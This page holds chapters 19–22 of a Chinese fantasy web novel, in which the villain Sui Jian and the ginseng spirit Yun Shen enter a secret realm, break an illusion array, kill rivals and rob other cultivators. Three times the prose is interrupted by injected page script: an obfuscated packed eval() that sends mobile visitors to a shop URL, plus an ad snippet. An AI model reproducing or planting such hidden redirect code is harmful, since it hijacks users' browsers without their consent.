浮光捧着茶盏,指腹摩挲着盏托的壁沿缓缓道:“他不是大师兄。” 这位云深道友哪都有伤,心脉肺腑更是残破不堪,可唯独没有剑伤。而当初他们与师兄决战时,可是一剑穿心震碎了大师兄的心脉。 如此致命的伤,不可能短短两三个月便完全痊愈到一点痕迹都没有。 或许……当真是他看走眼了吧。 19. 十九章 夜浓露重,本应当是歇下的时分,但云深刚睡醒了一觉正是最精神的时候,哪有半点睡意? 他偷偷看一眼和衣侧躺在软榻上,一手撑着下巴,神情恹恹的看着话本的大反派。 他一个睡饱了的失眠也就算了,怎么赶了一天路没休息过一刻钟的病号看起来比他还要精神? 他又看了一眼窗外的夜色,估摸着快到三更天了,大反派这么熬真不会熬秃头吗? 云深光想象一下那个画面就觉得好笑,咬紧了牙关才没笑出来。 “过来。” 隋简沙哑微沉的嗓音飘入耳膜,云深被吓了个激灵,连躯干带枝叶一起抖了抖。 不知为何,他总有种腹诽大反派结果被对方当场抓包的错觉。 云深做贼心虚,慢吞吞的挪了过去,视线四处飘散着,就是不敢与隋简正对上。 他拧巴着参须,垂着脑袋含糊的问:“让我过来干嘛?” 隋简拍了拍软榻边上:“坐这儿来。” 云深惊讶的抬头,眨巴眨巴眼睛,闹不懂隋简到底想干什么。 平时洁癖到令人发指的人,他若是不把自己里里外外清理干净,是绝对不允许他沾边的,连每次抱那个陶土盆前都要连掐上好几次法诀去掉泥土灰尘才肯抱,更别说让挨得那么近的坐着了。 显然大反派没打算解释一句半句,云深又不敢不从,只好吭吭唧唧的开始往软榻上爬。 他刚抬起参须,隋简好像想起什么来,脸色有一瞬间的扭曲但很快就恢复了正常。 下一秒,只见隋简抬手打出一道灵力,刚从土里跑出来灰扑扑的人参精瞬间干净得发光。 云深:“…………” 呵呵!他就知道是这样! 惨遭嫌弃自尊心受损的人参精气鼓鼓的坐到了软榻的边边上,长长的参须像尾巴一样垂着。 人参精为了表达自己内心的不满和抗议,故意坐得离隋简很远。 人参精阳奉阴违,隋简也不恼,随手将手中的书卷放到云深身旁,道:“我没醒来之前都不要下榻,若是觉得无聊就看看书,不允许修炼也不许炼丹。” 他说罢也不解释为什么不允许云深修炼,更不等云深反应过来,闭上眼就睡着了。 云深瞪着隋简那俊美妖异得夺目的脸,眼神幽怨的噘嘴。 这也不让做那也不让做的,还不准他下榻,这是什么人间疾苦嘛,太没参权了! 云深心中愤愤但又不敢真吵醒大反派,只能暗戳戳的用细细的参须,轻轻的在他衣摆上抽打,好似这样就真教训了大反派一顿一般。 人参精连这样虚虚的抽打都不敢多打几下,脑补着大反派被他抽得求饶的画面,暗爽过以后赶紧做贼似的收回了参须,然后老老实实趴着看书。 本来还以为大反派看的书肯定很无聊,但看着看着却发现还挺有趣的,没多久便看得津津有味入了迷。 . 隋简难得一夜好梦,醒来时清香浮动充斥着鼻腔之间。 人参精独有的参香无意识的占据着软榻周围的空气,一点一点的抚平隋简内心因疼痛而翻涌的戻气,连那像是被人拿着凿子一下接一下的凿着四肢百骸的疼痛也消退了一大半。 窗外天光大亮,隐约传来剑宗弟子早修练剑的口号声。 他抬了抬腿准备下床,却发觉好像被什么东西压住了一般。侧目看去,一本游记书面向下盖住他大腿,再往下一点则是趴伏状横跨他小腿,叶片收拢参须横七竖八铺散着,睡得四仰八叉的人参精。 隋简:“…………” 这睡姿也是没谁了。 人参精被他抬腿的动作惊醒,迷迷瞪瞪的抬头,眼睛都没睁开就下意识抬起参须擦嘴角的口水。 隋简:“…………” “哎呦!” 隋简猛的曲起被人参精压着的腿,毫无防备的人参精便骨碌碌的滚下了榻。 “疼疼疼!” 云深捂着摔疼的屁股,两眼泛泪花,恶人先告状:“你起床就起床,怎么还踹人下床呢?” 太过分了!他屁股都摔开花了! 隋简都要气笑了,他扯了扯嘴角,冷笑一声:“以后再敢睡觉流口水就把你叶子揪秃。” 云深立马改捂头顶叶片,噔噔噔的后退好几步,离他离得远远的。 大反派招惹不起,他还躲不起吗? . 之后在秘境开启之前,云深将远离大反派的决心谨记心中,白日在旁人面前就待在陶土盆里老老实实装普通灵植,到了夜晚则拖着花盆蹲到了窗棂上晒月光。 隋简也没再提些奇奇怪怪的事让他做,但依旧不允许他修炼和炼丹。 云深心里吐槽,难道他修炼是很见不得的事情吗? 大反派做任何事都不会给他解释,云深自己又琢磨不出来,索性就当给自己放假了。 第三日正午时分,原本还艳阳高照的天空突然迅速暗了下去。 “快看!那是什么?” 有修士惊呼高喊,引得所有人仰头看去,才发现太阳不知何时与那个漩涡状的裂缝重合在了一起。 太阳被裂缝切割成两半破开,如浓墨般黑沉的乌云铺天盖地的压来,骤然生起的罡风吹刮得衣袍猎猎青丝飞舞。 不过短短半盏茶时间,整个红叶原被笼罩在黑暗之中,天空中一道道彩色极光随着漩涡状裂缝,绕着山峰的峰顶一起扭曲旋转。 秘境入口开启了。 所有人脑海里第一时间浮现的就是这个念头。 “哈哈哈!诸位,老夫先走一步了。” 一名年过半百两鬓白发的修士反应极快,手指飞速掐出一个复杂的法诀,随后一道剑影凭空出现在脚下,他脚尖一用力整个人便带着剑影一起如离弦之箭般急射而出。同时他手中法诀恰好完成,无数灵力球像雪花一样飘向众人,在极速压缩后突然瞬间膨胀炸开。 灵力球的爆炸威力不小,连绵起伏的爆炸声接连起伏,剑宗弟子第一时间御起防御剑阵将爆炸通通挡在了阵法之外。 其余宗门势力也同剑宗的处理方式一般无二,优先展开防御阵法护住门下弟子,待他们抵挡完了爆炸的灵力球,那老道士的身影都已经出现在了山峰的半山腰处了。 “哇,他居然偷袭,这不是耍赖嘛?” 人参精伸着参须尖尖对半山腰的身影指指点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 点,未了还得了个结论:“他可真不要脸。” 隋简听着人参精的话语只觉得对方真是单纯得可爱。 在机缘大道面前,一切手段都不算卑鄙,只有活到渡劫飞升,才是笑到最终的胜利者。 每个机缘都是分秒必争,老修士摆了所有人一道抢了先,在场众人虽心中怄气但也无法指摘对方什么,怪只能怪是他们反应不够迅速落了下风。 “剑宗众弟子听令,随我一同列阵御剑,目标秘境入口!” 剑宗的带队长老站了出来,领着门下弟子紧跟老修士身后追了过去。 浮光和赵随云并未立马启程,而是走到隋简面前说:“云深道友,你此时改变主意还有机会,若当真上了这山峰,可就没有回头的路了。” 虽然已经确认对方不是大师兄隋简,但浮光和赵随云念在对方与隋简那点相似之处,还是提了醒。 “进了秘境之后再遇上我们就是竞争对手了,我们可不会留情的。” 隋简半垂眼睑,不置可否,亦油盐不进。 浮光放弃了劝说,深深看了一眼一人一参,随后被赵随云搂着腰肢带上了飞剑,也开始攀登封顶。 “我们还不行动吗?” 十大宗门与四大家族的人陆陆续续的都出发了,隋简却还带着云深矗立原地,一点动身的意思都没有。 这让云深都闹不明白他到底是要干嘛了。 直到最后一个宗门队伍带队离开,隋简才终于动了。 他绕到了山峰的背面,再次披上了那件玄色的披风,兜帽遮脸,未了收起云深的陶土盆,让他蹲到了口袋里。 云深越看越迷糊,完全猜不到隋简到底要做什么。还不等他问出口,就见隋简的身体突然开始虚化成黑沉沉的云雾。 云深:“?!” 大反派做了什么?这么大一个活人怎么就变成黑雾了? 虚化的黑雾很好的隐藏在了黑暗之中,若非用神识仔细搜寻,无人能识破隋简的伪装。 “抓紧了别乱动,掉下去了我可不会回头救你。” 大反派的嗓音四面八方的传来,虚无又缥缈,云深捕捉不到他本体到底在何方,但参须弯折的地方,确实是布料的触感。 想必大反派是用了什么秘法让自己看起来成了黑雾,实际本体还在。 云深安了心,不想等会儿当真摔成参泥的他立马听话的攥紧了口袋的边缘。 黑雾裹挟着云深,潜藏在黑暗之中,如风一般朝天空掠去。 那些拼尽全力争取优先进入秘境的人在半空相遇,气氛剑拔弩张,各自防备着对方下黑手。 隋简掠过那些修士时残忍的勾了勾嘴角,做了那个刺破和平假象的侩子手。 他五指成爪,接连捏爆了离他最近的几名修士的脑袋。血雾在半空中爆开,那些修士的同伴纷纷赤目欲裂,都以为是对方先动的手瞬间大打出手。 牵一发而动全身,下方一乱,连带着更上层的修士也被波及。一级级递上,很快就杀得整个山峰被血雾包裹,破碎的血肉残肢雨点一般落下,顷刻间成了人间炼狱。 而罪魁祸首却擦了擦手,毫不犹豫的转身离开。 20. 二十章 大反派杀人的手段过于粗暴凶残,迸溅的脑花血水映入眼中,前一秒还活生生的人下一秒就成了无头死尸,曾经身为社会主义新青年的云深哪里见过这种场面,当即被震撼得三观碎裂,两眼一翻就失去了意识。 人参精软绵绵的滑入袋中,隋简下意识伸手去捞,然后才发现对方竟然晕了。 隋简:“…………” 忘了这小废物胆子小,下次动手前得先捂着他眼睛,免得吓坏了。 如此想着,隋简将衣袋口子捂紧,顺着漩涡状裂缝强劲的吸力钻入了秘境的入口。 . 云深再次醒来的时候发现自己不知何时被挪到了花盆里,鼻尖萦绕着淡淡的血腥味,大反派的脸色跟他们第一次相遇时相差无几,隐约透着几分颓败萎靡的气息。而这种气息在大反派发现他清醒以后顿时消失得一干二净,仿佛只是一时的错觉。 他注意到了这些但没来得及多想,脑子转过弯来的第一件事就是拍拍隋简的手背示意他把自己放下来,然后颤颤巍巍的爬出花盆挪到一边去,扶着墙吐得天昏地暗。 隋简捂住口鼻离他一丈远,未了嫌弃的道:“出息,这么点小场面就吓成这样,以后经历得多了就习惯了。” 好不了一点!作为新时代五好青年,再经历多少次他都习惯不了。 云深面如土色,被隋简这么一提醒便又想起了那些血腥的画面,顿时又哇呀哇的吐了起来,即使有心反驳但也压根没力气说话。 最后云深吐得虚脱了,软绵绵的靠着墙壁两眼无神,宛如一条失去了梦想的咸鱼。 咸鱼最终被看不过眼的大反派旱地拔葱似的拔起,将他放进陶土盆之前没忘记掐个法诀把他从头到尾洗一遍。 云深:“…………” 倒也不用将嫌弃表现得这么明显,太伤参自尊心了。 云深心有戚戚,焉巴巴的垂着叶片趴在陶土盆的壁沿上,决定以行动来拒绝和大反派交流。 人参精的情绪不要太好懂,甚至不需要刻意的读心,只看一眼脸上的小表情就能猜测出七七八八。隋简咬了咬后牙槽,越发觉得自己平日里是不是太惯着它了,这已经是第几次给他甩脸色了? 他捏着人参精搭在壁沿上的参须掐了掐,冷酷无情的说:“你若实在接受不了,我可有办法帮你习惯。” 云深下意识抖了抖,直觉不是什么好话,他想也没想的摇成了拨浪鼓:“不不不,不用了,我自己调整一下心态也行,用不着您老人家出马。” 隋简抿了抿唇不置可否,眼底划过一丝遗憾失望。这可把云深吓得够呛,他战战兢兢的转移话题:“咱们进秘境了吗?是不是该开始探索秘境了?万一那些机缘就因为我这点小事耽搁了那多不好啊。” 他劝说着隋简的时候才分出点注意力来观察四周,而后才发现他们此时身处的地方竟是一整片开得艳丽招展的紫色小花花海。 “咦?这里怎么感觉这么眼熟?” 云深直接将内心的疑惑说出了口,他并非认不得这个地方,相反却是极其的熟悉。 可不就是他刚穿越来这个世界,遇到大反派并且被拔走的那个山谷嘛? 山谷与记忆里一模一样,只是这个山谷明明在葫芦山两座大山的中间盆地里,为何会出现在此处呢? “这是幻觉。” 这一回隋简难得解答了他的疑惑,云深后知后觉:“又是阵法吗?” 隋简点点头算是回应了。 其实早在进入秘境入口的那一刻隋简就发现他们陷入了一个上古幻阵之中。 这个幻阵能放大人内心深处的恐惧,隋简能理解自己恐惧的为何是这片花海山谷,但…… 他垂眸看向一副全然天真,好奇的打量着花海的人参精。 所以……它又为何恐惧这里呢? . 花海内气候温暖宜人,不点都没有外面那般酷热难耐。它好像走不到尽头一般,隋简带着云深整整走了两个时辰都没能离开花海。 花海确实美丽,可看久了也会审美疲劳的,云深已经无聊得打起了瞌睡。 昏昏欲睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13353230|140607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之际,他突然听到大反派说:“阵眼不在花海之中。” 云深以为隋简是漫无目的的往前走,实际上并非如此。 隋简忍耐着身上和神魂上传来的刺痛,强行铺展开神识,每走过一个地方就用神识搜寻一遍,但最终也没能找到。 他抬头看着天上暖融融的太阳微微眯起双眼,地上没有,那么就只剩下天上了。 云深跟着他一起抬头,难得聪明了一回:“那太阳会不会是阵眼啊?” 隋简道:“试过便知。” 他说罢手中剑气凝聚,一把长剑虚影浮现,抬手一指,剑影便随着他手指指向的方向穿刺而去。 天空很低,剑影只在几个瞬息之间便将那太阳刺了个对穿。 圆如轮盘的太阳像被砸碎了的镜面一般,咔啦咔啦的裂出蛛丝纹,从一开始的两三条到最后遍布整个太阳。 以此同时,原本还清风和煦暖阳高照的山谷顷刻间下去了瓢泼大雨,天空像是被血侵染了颜色一般红得滴血。 凌乱肆虐的飓风席卷而来,将一朵朵紫色小花卷进半空中,娇嫩的花瓣被切割得四分五裂。 云深头顶的枝叶也被吹刮得东倒西歪,他不得不七手八脚的伸长所有参须护着他的宝贝叶片,只留了最粗壮的两根牢牢扎根在土里。 但即使他已经很努力的护着自己了,还是因为风太大差点被连根吹起卷走。 隋简注意到了他的窘迫,这时也顾不得洁癖的毛病,直接收起陶土盆的同时将他塞进了披风衣兜里。 恰好此时天上的太阳已经分裂成了无数碎片,正扑簌簌的往下坠。 花海幻境摇摇欲坠,瓢泼的大雨缓缓转为绵绵细雨,肆虐的飓风也停歇了下来。 云深探出头来,有心问隋简到底怎么回事,这幻阵是破了还是没破,结果还没来得及张嘴呢就被隋简一巴掌按回了衣兜里。 在他彻底被按进衣兜之前,云深的眼角余光看到一个浑身浴血冒着黑气的人影踏血而来,而那个人影的脸,分明就是与他日夜相处的大反派隋简。 21. 二十一 怎么有两个大反派啊?难道他们还在幻境里没出去?假的大反派看起来很难对付的样子,也不知道大反派应不应付得过来。 云深心中疑惑又担忧,但他很清楚自己只会给隋简拖后腿,再多的想法都只能等隋简解决了眼前的危机。 人参精乖乖窝在衣兜里,只有几片藏不进去的叶片露了出来,隋简满意的压了压眉心,确认它不会突然跑出来以后才将注意力转移到那个幻境幻化出来的自己身上。 那个“隋简”并未对他做出任何攻击的行为而是死在他面前,一剑穿心心脉尽毁,而后死不瞑目的睁着一双怨毒的眼眸看着他。 一遍又一遍。 不得不说这个幻境还是有点东西,可惜不够聪明。他确实对自己的死亡执念极深,不过他并不是恐惧死亡,而是厌倦了。 他已经厌倦了死亡。 隋简轮回了十一世,死了十一次,这是第十二世。死了这么多次,换作任何人都会厌倦。 说来也可笑,隋简原本是剑宗的首席大弟子,修炼不过二十载就突破元婴达到人剑合一的境界,赫赫威名传遍修仙界,是未来最有可能问鼎大道飞升的热门人选。 可就是这样的天才,居然只是他人笔下话本里,为所谓的主角飞升之道铺路的垫脚石,落得个人人得而诛之身死道消的下场。 这让他如何甘心? 隋简从不信命,即使既定的结局是身死道消,他也偏要逆天而行! “破!” 幻境是放大人内心的恐惧与欲望的存在,受困者越受影响,幻境的杀伤力就越强盛。偏偏隋简不受任何影响,幻境所幻化出来的虚影无法自他身上汲取能量,弱得不堪一击。 隋简手中灵力重新凝聚成剑,亲手将那虚影送上死路。 幻境虚影不甘的嘶吼,化作了尘烟。 幻境摇摇欲坠,可却没有立刻崩溃碎裂。 隋简眉心紧锁,微微仰头看着天空。只见天空的血云翻涌奔腾,伴随着电闪雷鸣,如同毁天灭地之势席卷而来。 这些并非普通的雷电,而是修士历劫时的九天神雷。 隋简能感觉得到这些劫雷并非冲他而来,幻境之内只有他与云深,既然不是他,那么剩下的只可能是云深了。 他若有所思的垂眸看向衣兜口伸出来,因害怕而剧烈颤抖的爪状叶片。 人参精显然很惧怕这些雷,仅仅只是听到雷声都被吓得发抖。 幻阵的幻境根据人的内心深处的恐惧构造而成,人参精必然是被劫雷劈过,还被劈得很惨造成了心理阴影,否则不会这般恐惧。 这种程度的劫雷,起码渡劫期以上,按理来说云深一个才筑基的小精怪是断断不可能经历过的。 回想过往种种,隋简越想越觉得这只他捡来的人参精处处皆不合理。 幻境在对付隋简时就已经消耗掉了大部分的能量,头顶劫云刚刚成型便因能量不足以继续维持,都不需要隋简花费力气便自己消散了。 没了幻境的阻挡,真正的秘境终于显露本真。 . 云深窝在衣兜里,里面黑漆漆的伸手不见五指,他看不见外面的状况,只能通过声音来判断,一颗心七上八下的提着,直到听到假的大反派不甘嘶吼的声音后他才缓缓松了口气。 只是还不等他放松紧张的情绪,突然一声接一声震耳欲聋的雷鸣像是在他耳边炸响一般,吓得他当场僵直了身体。 云深四肢不受控制的发抖抽搐,脸色苍白如纸,无形的恐惧弥漫心头,只觉得随着那雷声响起,身体好像就被雷劈了一般,四肢百骸都在剧烈的痛。 他从前从未惧怕过雷声,云深也不知道自己为什么会这样,极力的捂着耳朵蜷缩成一团,好像这样就能生出几分安全感来。 说不上过了多久,久到云深有种失真感。 当视线重见光亮,云深对上大反派那双艳丽却薄情的桃花眼时,竟生出了几分心安。 云深忍不住悄悄伸出一根细细的参须,虚虚的圈住隋简尾指。 大反派微凉的体温触感不算很好,但却很好的驱散了他内心的恐惧和彷徨。 隋简自然发觉了人参精的小动作,但他什么也没说,装作无事发生。 云深自以为自己做得隐秘没叫大反派发现,心中小小的窃喜着。他没敢圈太久,只满足了内心一点小小的奢求后便立刻缩回了参须,没发现隋简眼底一闪而过的不满。 随着幻阵被破,此时他们才算真正踏入秘境,正身处在一个鸟语花香的小山谷里。 山谷里生长着许许多多的灵草灵花,色彩艳丽的蝶蝴蝶扑扇着翅膀拖着长长的尾巴在花丛中翩翩飞舞,万里晴空的空中偶有鸟雀掠过。 人迹罕至的山谷里竟有一座看起来十分崭新的木屋,进入内里一看并无任何人生活过的痕迹,好似专门被人建造在这里等着什么人一般。 隋简神识在山谷之中查探了一圈,最后若有所思的看着眼前的木屋做了决定:“先在这里休整几日。” 云深不明所以:“我们不用赶路吗?” 机缘这种东西都是可遇不可求的,唯有拼一个比他人更快速找到才有可能将机缘纳入囊中,按理来说他们不该停在这里才对。 隋简回道:“要赶,但不是现在。” 隋简一如既往地没给他任何解释,径直绕着木屋刻画下复杂的阵法符文,待阵法完成生效后才带着他进了木屋内部。 木屋里很干净,除了一张床以外便没了任何其他的家具。 云深还在迈着腿好奇的四处观察,一扭头就见大反派不知何时将自己的丹炉拿了出来。 云深有种不好的预感,果然,下一秒就听隋简说:“过来,趁着现在好好的修习你的炼丹术。” 云深立刻垮起一张批脸,不情不愿的哦了一声,然后垂头丧气的迈着小短腿走到丹炉面前。 虽然一开始不情不愿,但真开始炼丹以后云深反而沉迷了进去,淬炼灵丹时无比的专注,连多余的一个眼神都没有分给隋简。 随着云深调动体内的灵力,木屋里的木系灵气越来越浓郁,很快就达到了肉眼可见的雾化状态。穿透窗棂撒入屋内的阳光落在他的身上,金黄色的露珠在叶片上凝聚,挂在叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13353231|140607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖上要落不落的。 那便是日精。 隋简心念一动,那些日精露珠便被灵力包裹着一颗颗飞到了他手中的瓷瓶之中。 日精乃是至阳之物,月华反之,月华对隋简无用,但日精则刚好对他的纯阳之体有益,修炼可事半功倍,这也是隋简让云深修炼的原因。 他拿出一个蒲团盘膝坐下,五心朝天,盛着日精的瓷瓶被放在他交叠的掌心之中,丝丝缕缕的金色日精顺着身体的吐纳,一点点的渗入他的体内。 有了日精和木系灵气的辅助,隋简因这几日强行使用神识和灵力的身体开始缓慢修复。 直到瓶内日精消耗完毕,隋简才结束了一个大周天。他再次收集叶片上的日精,然后立刻开始下一个周天。 而沉迷炼丹的人参精毫无所觉。 山中不知岁月,云深只依稀记得太阳好像升起了四五次,当他能完美的练出一枚二阶的伐髓丹后,云深彻底从一级丹修迈入了二级。 段位的提升让云深非常有成就感,连带着对丹炉内那几颗青绿色的伐髓丹都觉得分外可爱,宝贝不已的将其收入瓶中,扭头就找大反派报喜求夸夸。 “我进阶啦!” 人参精抱着瓷瓶像个小炮弹一样拱进隋简的怀里,刚好耗完日精的瓷瓶被他挤得掉落了下去,在木板上骨碌碌的滚出好远。 人参精的视线跟着瓷瓶移动,半晌后眨巴眨巴眼睛,才想起自己干了什么。 他居然对大反派投怀送抱! 他已经好几天没洗澡了,洁癖症犯了的大反派会不会把他劈了? 兴奋上头的人参精像是被人兜头泼了一盆冷水,他立马扭头转身就想跑,只是还没来得及迈开参须就被一只骨节分明的大手一把揪住了枝杆,拎着就提了起来。 “把我衣服弄脏了就想跑?” 大反派面无表情,看不出生气了还是没生气,但眼神是不善的。云深顺着他的话低头一看,隋简的衣袍果然被他踩出了好几个灰扑扑的印子。 云深两眼一黑,只觉得大难临头。他抖了抖,哭丧着脸求饶:“我真不是故意的,我保证下次不会这样了!” 隋简哼笑一声:“还想有下次?” 人参精拼了命的摇头:“没有了没有了,保证不会有下次!” 隋简这才满意的将他放下,随后起身走出了木屋。 云深不知道他出去干什么,又不敢跟上,只好站在原地自我罚站。 一炷香后,隋简去而复返,身上带着明显的水汽,衣服也已经换成一套亮眼的蓝色锦衣。 显然他刚刚是去沐浴去了。 隋简并未束发,长及脚踝的青丝披散着,随着走动的动作轻盈晃动。 云深被大反派的盛世美颜直面冲击,直接就看楞了。 隋简极具攻击性的桃花眼眼尾微微上挑,环臂抱胸,居高临下的俯视着云深,戏谑的道:“还不去洗漱愣着做什么?难不成还想蹭我一身灰?” 云深恍惚回过神来,被他说得红了全身,垂着头闷闷的哦了一声,然后迅速冲出木屋,期间再没敢多看隋简一眼。 22. 二十二 云深用木盆打了一盆水,然后将浑身高热的自己埋了进去。 他觉得自己好丢人,竟然看大反派的脸看得出了神。 可是这又不能怪他,谁会不喜欢漂亮的美人?尤其是这种心狠手辣的蛇蝎美人,那更带感了呀。 圣人言食色性也,他只是犯了所有灵长动物都会犯的错罢了。 所以他没错! 云深坚定不移的得出结论,找回了一点自信心,慢慢挺直了腰杆。 自我厌弃又自我安慰完毕的人参精迅速将自己洗干净,推着木盆将洗澡水倒到了木屋沿廊外面。 他刚准备拖着木盆回屋里,只感觉头顶的阳光好像被什么遮住了,阴影还迅速增大。 他不明就里的抬头,一双锋利带着倒钩的巨大鸟爪映入眼帘。 一只披着灰黑羽毛,鸟身人面的怪鸟正在他头顶,鸟爪距离他不过十尺距离。 云深瞳孔微缩,身体僵硬的楞在原地,被吓得连叫都叫不出来。 眼看着鸟爪就要刺穿他的身体将他抓走,隋简那略显嫌弃的嗓音在此时传入耳膜。 “叫你小废物可真一点都没错,不会逃跑连救命都不会喊了?” 隋简一把抓住怪鸟的爪子,手臂青筋暴起,用力将其从空中拽了下来,而后动作利落的捏断了怪鸟的脖子。 全程还不到十秒,明明是极为凶残的画面,云深却觉得安全感爆棚,抱着隋简的小腿委屈得大哭。 眼看着人参精的眼泪就要擦到他裤腿上,隋简忍无可忍,提着他重新接了一盆水,然后将他丢进去涮了一道。 呛了一口水忘记该怎么哭的云深:“…………” 过分! . 隋简和云深又在木屋里待了几日,期间云深几次想问隋简怎么还不动身,可看到对方每日气定神闲的喝参茶打坐修炼一点都不着急后,他恍然觉得自己好像那个太监,皇帝不急他倒是先急上了。 反正大反派不离开肯定有自己的计划,他老老实实跟着做就行了。 于是云深也没心没肺的日日炼丹修炼。 不得不说云深炼丹一途的天赋确实高得逆天,自从进阶二级丹师后,隋简给他的每一个丹方他都能一次过完美炼制出来,每一颗丹药均为上品,只是尚且不够熟练还需大量的练习。 云深自信心满满,觉得再给他一个月的时间,他肯定能冲击上三级丹师。 只可惜现实不允许,当大反派让他收拾东西准备离开时他还有些迷茫,这十来日的山谷生活过分安逸宁静,都差点叫他忘了自己还身处在危机重重的秘境里。 云深唯一的包袱就是那两个炼丹炉和炼制出来的丹药,他把丹炉和丹药统统塞进隋简的储物戒里,随后拖过自己的陶土盆准备爬进去。 “今后不用待在这个盆里了。” 云深参须刚跨上陶土盆壁沿就被隋简拎着塞进了衣兜里,他茫然的攥着衣袋口,仰头问:“为什么?” 隋简随手将陶土盆丢进储物戒一边说:“太显眼了,不方便。” 云深想了想,好像确实是如此,哪个正常人会随手抱着一盆灵植啊,又不是抱他老婆。 云深想通以后便不再纠结了,他回头看了眼小木屋,还没走呢就开始怀念上了。但等他转过头来时那点淡淡的愁绪已经消失得无影无踪,反而期待又兴奋的问隋简:“那我们接下来去哪啊?是不是要跟那些修士争夺天灵地宝了?” 他看小说的时候,那些修仙界大佬们打架都特别精彩,看得人热血沸腾的,他来这个世界那么久了可还没见过呢。 两眼亮晶晶放光亮的人参精已经全然忘记了当时看到隋简杀人直接吓晕过去的事情了,典型的记吃不记打。 隋简好心的没有提醒他,免得他又回忆起来自己先把自己吓破了胆。他挑了挑眉,曲起手指敲人参精的脑门:“你是不是忘了我有伤在身,而你……” 他说着用一种审视的目光扫了云深一圈,嗤笑道:“你一个小废物是指望不上的了,跟那些合体渡劫的大能争夺机缘,是嫌命长了吗?” 云深一噎,被现实泼灭了一腔热血。 他讪讪的挠头,心里嘀咕着大反派废了那么多心力挤进这个秘境,总不能是来旅游玩耍当陪跑的吧? 像是知道他在想什么,隋简笑意不达眼底的扯了扯嘴角,道:“当蝉和螳螂都不是明智的选择,唯有当那黄雀才最为合适。” 起初云深还没理解他这话是什么意思,直到隋简带着他杀了一只九级灵草的守护兽,将其内丹剖了出来,然后再连根挖起那枚灵草放入储物戒,最后指使着他扎根到九级灵草原本生长的坑里后才幡然醒悟。 这画面怎么感觉这么熟悉呢?是不是以前就经历过? 云深想起某次大反派拦路抢劫的事情来,一时间无语凝噎。 说什么当黄雀,可这分明就是钓鱼执法! 手段不怕老套就怕敌人不上套,偏偏这些修士脑子不够聪明,竟还真有好几个上当受骗的。 只不过这回的修士没有之前那些同样被抢劫的修士幸运,无一例外都成了林中草木的肥料养分。 社会主义核心价值观告诉云深这样是不对,这是违法犯罪,但当大反派将清点赃物的任务交给他后,土包子人参精发出了没见过世面的惊叹。 好多灵石灵宝!好多珍稀的灵植妖丹啊! 他都不敢相信自己拿着这些灵植炼丹,会有多快乐。 “我的,我的,都是我的!嘿嘿嘿……” 人参精可耻的被金钱腐蚀了心灵,一边自我谴责唾弃,一边两眼冒金光。 隋简好笑的摇了摇头,连参带赃物一起拎走。 之后半个月,一人一参将黄雀在后的思想贯彻落实到底,从不与那些修士正面交锋,在他们互相争个你死我活两败俱伤的时候隋简才会开始收割。而云深仗着自己矮,在林中不显眼,迂回绕后光明正大的挖灵草抢灵宝。 随着储物袋和储物戒的日渐丰盈,两人也终于走出了这片仿佛看不到尽头的密林。 与密林相连接的是一片黄沙漫天的荒芜戈壁,明明只是一线之隔,却是天差地别。 才走了小半天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13353232|140607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,云深已经感觉自己快死了。再在这里待下去,他没先被晒死也要被渴死。 云深发出灵魂质问:“我们还要多久才能走出去啊?就不能直接用飞舟飞过去吗?” 怎么都比两条腿赶路来得方便啊。 隋简撇他一眼:“如果你不介意被秘境里其他修士或者妖兽戳成筛子,倒也不是不可以。” 云深顿时闭上了嘴不敢抱怨了。 修仙世界太凶残了,对参一点都不友好,呜呜呜…… 云深默默裹紧了自己,然后缩进了衣兜里将自己藏好,企图以此来隔绝毒辣的太阳。 就在他热得快要出现幻觉见到他那未曾谋面的太奶时,衣兜被人拍了拍。 “出来。” 云深冒出头来:“干什么?” 隋简:“不是要喝水?喏,随便喝。” 云深顺着他视线的方向看去,才发现不远处竟是一个小型绿洲。 “快!带我过去!” 焉了吧唧的人参精一下就活了,甚至胆敢对隋简颐气指使。也就隋简心情好看他确实渴得难受没跟他计较,不然非得被揪着叶片教训一顿。 当清凉的水淹没身躯,人参精晒得卷边的叶片迅速展开,欢快得左右摇晃,细细长长的参须随着水波漂浮。 而隋简则站在树荫下,眉心微蹙,视线不时看向远方,似乎在寻找着什么。 云深趴在水潭边,眨巴着乌黑的豆豆眼问:“你不渴吗?” 隋简扭过头来沉默不语,眼底透着几分嫌弃。 云深低头看了一眼自己一半泡进潭水里的身躯,鬼使神差的读懂了他眼中的含义。 “…………” 天菩萨啊,他敢保证他真的没有要大反派喝他泡澡水的意思!他只是礼貌一问罢了! 